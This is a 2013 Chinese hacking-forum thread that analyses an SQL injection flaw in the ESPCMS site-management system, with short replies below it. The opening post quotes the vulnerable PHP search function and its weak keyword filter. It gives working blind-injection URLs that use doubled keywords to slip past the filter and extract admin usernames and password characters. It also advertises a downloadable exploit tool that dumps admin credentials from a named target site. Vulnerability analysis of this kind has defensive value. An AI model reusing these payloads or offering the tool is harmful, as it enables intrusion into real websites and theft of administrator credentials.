查看: 19351|回复: 5

Espcms 通杀 SQL注入漏洞分析附EXP

[复制链接]
  • TA的每日心情

    2020-10-2 23:00
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2013-3-10 17:30:47 | 显示全部楼层 |阅读模式
    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP
    漏洞作者:Seay
    博客:www.cnseay.com
    转载请保留以上内容…
    官网介绍:
      易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
    漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以
    interface/search.php为例说明:

    1. function in_taglist() {
    2.                 parent::start_pagetemplate();
    3.                 include_once admin_ROOT . 'public/class_pagebotton.php';

    4.                 $page = $this->fun->accept('page', 'G');
    5.                 $page = isset($page) ? intval($page) : 1;
    6.                 $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
    7.                 $tagkey = urldecode($this->fun->accept('tagkey', 'R'));
    8.                 $tagkey = $this->fun->inputcodetrim($tagkey);

    9.                 $db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
    10.                 if (empty($tagkey)) {
    11.                         $linkURL = $_SERVER['HTTP_REFERER'];
    12.                         $this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
    13.                 }
    14.                 if (!empty($tagkey)) {
    15.                         $db_where.=" AND FIND_IN_SET('$tagkey',tags)";
    16.                 }
    17.                 $pagemax = 20;

    18.                 $pagesylte = 1;

    19.                 $templatesDIR = $this->get_templatesdir('article');

    20.                 $templatefilename = $lng . '/' . $templatesDIR . '/search';

    21.                 $db_table = db_prefix . 'document';
    22.                 $countnum = $this->db_numrows($db_table, $db_where);
    23.                 if ($countnum > 0) {

    24.                         $numpage = ceil($countnum / $pagemax);
    25.                 } else {
    26.                         $numpage = 1;
    27.                 }
    28.                 $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
    29.                         color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
    30.                 $this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
    31.                 $sql = $this->htmlpage->PageSQL('pid,did', 'down');
    32.                 $rs = $this->db->query($sql);
    33.                 while ($rsList = $this->db->fetch_assoc($rs)) {
    复制代码
    由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终
    $db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;
    $tagkey被带入SQL语句。
    可以看到下面有

    1. $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
    复制代码
    也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int,
    更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。
    漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527
    由于espcms本身有防注入函数,在文件
    public\class_function.php inputcodetrim()函数。

    1. function inputcodetrim($str) {
    2.                 if (empty($str)) return $str;
    3.                 $str = str_replace("&", "&", $str);
    4.                 $str = str_replace(">", ">", $str);
    5.                 $str = str_replace("&lt;", "<", $str);
    6.                 $str = str_replace("&lt;", "<", $str);
    7.                 $str = str_ireplace("select", "", $str);
    8.                 $str = str_ireplace("join", "", $str);
    9.                 $str = str_ireplace("union", "", $str);
    10.                 $str = str_ireplace("where", "", $str);
    11.                 $str = str_ireplace("insert", "", $str);
    12.                 $str = str_ireplace("delete", "", $str);
    13.                 $str = str_ireplace("update", "", $str);
    14.                 $str = str_ireplace("like", "", $str);
    15.                 $str = str_ireplace("drop", "", $str);
    16.                 $str = str_ireplace("create", "", $str);
    17.                 $str = str_ireplace("modify", "", $str);
    18.                 $str = str_ireplace("rename", "", $str);
    19.                 $str = str_ireplace("count", "", $str);
    20.                 $str = str_ireplace("from", "", $str);
    21.                 $str = str_ireplace("group by", "", $str);
    22.                 $str = str_ireplace("concat", "", $str);
    23.                 $str = str_ireplace("alter", "", $str);
    24.                 $str = str_ireplace("ca&#115;", "cast", $str);
    25.                 $str = preg_replace("/<span[^>]+>/i", "<span>", $str);
    26.                 $str = preg_replace("/<p[^>]+>/i", "<p>", $str);
    27.                 $str = preg_replace("/<font[^>]+>/i", "<font>", $str);
    28.                 $str = preg_replace("/width=(\'|")?[\d%]+(\'|")?/i", "", $str);
    29.                 $str = preg_replace("/height=(\'|")?[\d%]+(\'|")?/i", "", $str);
    30.                 $str = preg_replace("'<style[^\f]*?(\/style>)'si", "", $str);
    31.                 return $str;
    32.         }
    复制代码
    只是把关键字替换为空,例如union可uunionnion绕过本身防注入,还可以无视不拦截单引号的waf。

    猜解用户名长度
    http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay
    爆破用户名和密码: espcms_exp.rar (3.2 KB, 下载次数: 17, 售价: 1 i币)
    http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay
    写了个Exp,下载地址:
    使用方法:espcms_exp_by_Seay.exe www.ihonker.org
    即可自动爆出表前缀、用户名、跟密码。

    评分

    参与人数 1i币 +6 收起 理由
    冰河 + 6 感谢分享

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-9-24 16:00
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2013-3-10 22:16:00 | 显示全部楼层
    纯技术文章一定要表扬!
    回复 支持 反对

    使用道具 举报

    nick2011 该用户已被删除
    发表于 2013-3-10 22:52:27 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    huc.雨 该用户已被删除
    发表于 2013-3-11 09:30:31 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-3-13 15:19:57 | 显示全部楼层
    爆出了好多个00000.。该怎么搞。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-15 18:41
  • 签到天数: 412 天

    [LV.9]以坛为家II

    发表于 2014-11-6 14:52:22 | 显示全部楼层
    看看就好
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-25 14:00 , Processed in 0.055595 second(s), 24 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部